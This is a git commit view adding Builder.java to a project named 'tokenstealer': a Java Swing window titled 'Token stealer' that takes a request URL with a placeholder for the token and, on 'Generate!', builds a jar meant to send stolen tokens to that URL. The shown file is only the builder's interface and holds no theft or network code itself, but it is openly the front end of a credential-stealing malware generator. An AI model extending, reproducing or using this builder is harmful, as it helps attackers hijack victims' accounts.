diff options
author | romangraef <roman.graef@gmail.com> | 2018-02-13 14:46:26 +0100 |
---|---|---|
committer | romangraef <roman.graef@gmail.com> | 2018-02-13 14:46:26 +0100 |
commit | e174326e16e056b98799b8771c5c7315839b4cee (patch) | |
tree | 5ce3e229cfbea4d53f8f874be49e60cff2cf1802 /src/main/java/de/romjaki/tokenstealer/builder/Builder.java | |
download | tokenstealer-e174326e16e056b98799b8771c5c7315839b4cee.tar.gz tokenstealer-e174326e16e056b98799b8771c5c7315839b4cee.tar.bz2 tokenstealer-e174326e16e056b98799b8771c5c7315839b4cee.zip |
Initial commit
Diffstat (limited to 'src/main/java/de/romjaki/tokenstealer/builder/Builder.java')
-rw-r--r-- | src/main/java/de/romjaki/tokenstealer/builder/Builder.java | 52 |
1 files changed, 52 insertions, 0 deletions
diff --git a/src/main/java/de/romjaki/tokenstealer/builder/Builder.java b/src/main/java/de/romjaki/tokenstealer/builder/Builder.java new file mode 100644 index 0000000..2d19e25 --- /dev/null +++ b/src/main/java/de/romjaki/tokenstealer/builder/Builder.java @@ -0,0 +1,52 @@ +package de.romjaki.tokenstealer.builder; + +import javax.swing.*; +import java.awt.*; +import java.io.File; + +public class Builder extends JFrame { + public static final String PLACEHOLDER_HINT = "Use %s as placeholder for the token"; + public static final String COPYRIGHT = "COPYRIGHT: MAINZ DAZ IS!"; + private JTextField requestField; + private JPanel requestPanel; + private JLabel requestLabel; + private JButton generateButton; + + public Builder() { + super("Token stealer"); + setLayout(new GridLayout(0, 1)); + add(generateRequestField()); + add(generateGenerateButton()); + pack(); + } + + private Component generateGenerateButton() { + generateButton = new JButton("Generate!"); + generateButton.setToolTipText(COPYRIGHT); + generateButton.addActionListener(ignored -> BuildJar.buildJar(requestField.getText(), showSaveDialog())); + return generateButton; + } + + private File showSaveDialog() { + JFileChooser chooser = new JFileChooser(); + switch (chooser.showSaveDialog(this)) { + case JFileChooser.APPROVE_OPTION: + return chooser.getSelectedFile(); + case JFileChooser.CANCEL_OPTION: + case JFileChooser.ERROR_OPTION: + default: + return null; + } + } + + private Component generateRequestField() { + requestPanel = new JPanel(new GridLayout()); + requestLabel = new JLabel("Request url:"); + requestLabel.setToolTipText(PLACEHOLDER_HINT); + requestField = new JTextField(40); + requestField.setToolTipText(PLACEHOLDER_HINT); + requestPanel.add(requestLabel); + requestPanel.add(requestField); + return requestPanel; + } +} |